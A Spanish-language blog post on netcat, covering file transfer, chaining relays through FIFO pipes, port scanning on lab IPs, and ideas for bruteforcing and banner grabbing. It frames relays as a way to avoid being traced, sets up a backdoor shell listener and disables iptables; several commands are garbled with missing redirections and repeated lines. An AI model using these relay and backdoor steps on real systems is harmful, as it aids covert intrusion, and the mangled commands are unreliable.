Otros usos de netcat
Bueno, aunque este tema también está muy trillado, quizás haya gente que únicamente utiliza el Netcat para conseguir una shell/reverse shell
A parte de esto, hay bastantes funcionalidades que nos ofrece esta navaja suiza, y que en algún momento dado nos pueden servir de ayuda.
Este texto no pretende ser una guÃa exhaustiva, simplemente un punto de partida para que la gente le pique la curiosidad y explore un poquito más los posibles usos del Netcat
- Transferencia de archivos:
Hay momentos, en que estamos buscando pasarnos archivos de un host a otro y no sabemos como, netcat nos ofrece una forma muy cómoda de conseguir esto, sin necesidad de montarnos un mini FTP o cualquier otra cosa que se nos ocurra.
Es tan sencillo como lo siguiente:
en el servidor:
Código:
# netcat -l -p 5050 > pass.txt
en el cliente:
Código:
# cat pass.txt | netcat ip_server 5050
Con esto conseguimos pasarnos sin problemas un simple archivo de texto, pero....
Que pasa si queremos ir un pelÃn más allá, y pasarnos un binario (un ejecutable, un simple fichero openoffice,...)?¿?¿
Vamos a probar a ver que ocurre:
en el servidor:
Código:
# netcat -l -p 5050 > ej.odt
en el cliente:
Código:
# cat salida.odt | netcat ip_server 5050
Y ahora comprobemos (suponiendo que el ejemplo lo hemos hecho en la misma máquina):
Código:
# diff ej.odt salida.odt
#
#
Como vemos, no hay NINGUNA diferencia, asi que podremos transmitir binarios sin problemas...
- Relays utilizando netcat:
Para este ejercicio necesitaremos 3 máquinas distintas. Crearemos un relay
en la máquina Linux utilizando un netcat ejecutándose en modo de escucha y como cliente.
Este reenvÃo dirigirá los datos de una primera máquina(A) hacia otra(B).
Esta máquina de reenvÃo conectará una primera máquina ejecutando un
netcat en modo cliente con una tercera (C) ejecutando netcat en modo servidor
o escucha.
Una vez establecido, el reenvÃo podrÃa permitir el acceso a esta última
máquina desde la máquina original.
El host intermedio hace de proxy, de forma que nosotros nos conectamos a el
y el nos conecta al servidor final, de esta forma conseguimos que sea más
dificil rastrearnos, ya que en los logs del server aparecerá la Ip del host
relay.
Obviamente cuantos más hosts intermedios usemos más dificil se hará
la tarea de rastrearnos.
Una manera de crear relays es unir la entrada y la salida de un cliente y
servidor netcat utilizando un chero especial denominado FIFO (First In, First Out).
Podemos crear un fi chero FIFO y utilizarlo para unir un netcat en modo
servidor con un cliente con las siguientes órdenes:
Código:
# mknod backpipe p
# nc -l -p [puertoA] 0backpipe
# nc -l -p [puertoA] 0
puerto de la máquina destino (IP_Destino) donde hemos situado la puerta trasera
con la shell. Es importante no poner espacios en las redirecciones (>,<). Estas
redirecciones permiten dirigir la entrada y salida estándar hacia backpipe y no
pueden tener espacios junto a ellos.
Para que esto funcione es necesario que si tenemos un mecanismo de filtrado
de paquetes permitamos que el paso de los paquetes hacia la máquina C. Es
posible que si tenemos activo iptables (que puede funcionar como un cortafuegos)
esto no esté permitido. Podemos desactivar iptables del siguiente modo:
Código:
/etc/init.d/iptables stop
Bueno, pues manos a la obra, como dijimos, vamos a necesitar 3 máquinas (en mi caso,
el propio host donde trabajo, y 2 máquinas virtuales), las IP's son las siguientes:
Citar
Server: 192.168.1.129
Relay: 172.16.72.135
Cliente: 172.16.72.136
Relay: 172.16.72.135
Cliente: 172.16.72.136
Procedamos pues.
En el Servidor, mediante netcat dejamos un puerto a la escucha con una shell de regalo:
Código:
En el Servidor, mediante netcat dejamos un puerto a la escucha con una shell de regalo:
Código:
# nc -l -p 5555
En el Relay, creamos la FIFO, y mediante tuberÃas unimos el asunto:
Código:
# mknod buffer p
# netcat -l -p 1111 0buffer
# netcat -l -p 1111 0
Como se observa, primero creamos el buffer con ayuda de mknod, y después, usamos este para unir la entrada estandar (que en este caso será lo que nos mande el cliente mediante netcat) con la conexión al Servidor y guardar de nuevo la salida de esta última conexión en el buffer, que se reenviará al Cliente (Es un poco lioso, asi que mirar detenidamente la instrucción y tratar de entender paso a paso lo que harÃa)
Finalmente, nos conectamos desde el cliente y observamos que tenemos la shell con el Server:
Código:
# netcat 172.16.72.135
pwd
/home/XXXX
pwd
/home/XXXX
Para asegurarnos que la conexión desde el cliente hasta el servidor, ha sido "enmascarada" por el relay, vemos en el Servidor las conexiones activas, flitrando por el puerto 5555 que es donde estábamos escuchando, y obtenemos lo siguiente:
Código:
# sudo netstat -aveptn | grep 5555
tcp 0 0 192.168.1.129:5555 172.16.72.135:51220 ESTABLECIDO 1000 44068 9038/bash
Vemos que efectivamente alguien se ha conectado a nuestro puerto 5555, que tiene una shell (bash), y que la conexión proviene del Relay (172.16.72.135:51220)
- Uso como scanner:
Nos podemos encontrar en algún entorno en el que no tengamos a mano NMap o miscelaneos, por lo que como no, siempre podemos echar mano de nuestro amigo, y usarlo como un scanner de puertos (algo ruidoso y tosco, eso si )
por ejemplo:
Código:
# nc -vv 127.0.0.1 22-25
localhost [127.0.0.1] 25 (smtp) : Connection refused
localhost [127.0.0.1] 24 (?) : Connection refused
localhost [127.0.0.1] 23 (telnet) : Connection refused
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_4.7p1 Debian
localhost [127.0.0.1] 25 (smtp) : Connection refused
localhost [127.0.0.1] 24 (?) : Connection refused
localhost [127.0.0.1] 23 (telnet) : Connection refused
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_4.7p1 Debian
- Y más...
Hay MUCHAS más cositas que hacer con este estupenda herramienta, se me ocurren cosas como:
- un bruteforcer: PodrÃamos crear un diccionario, y mandar palabra por palabra
sus entradas a un puerto de forma que cuando se encuentre la contraseña
correcta se registre.
- sacar información: bastará con conectarse al puerto del que queramos
extraer la información del servicio y guardar su respuesta para luego
analizarla.
Otros usos de netcat
Reviewed by PDFREEBOOK
on
8:29
Rating:
Post a Comment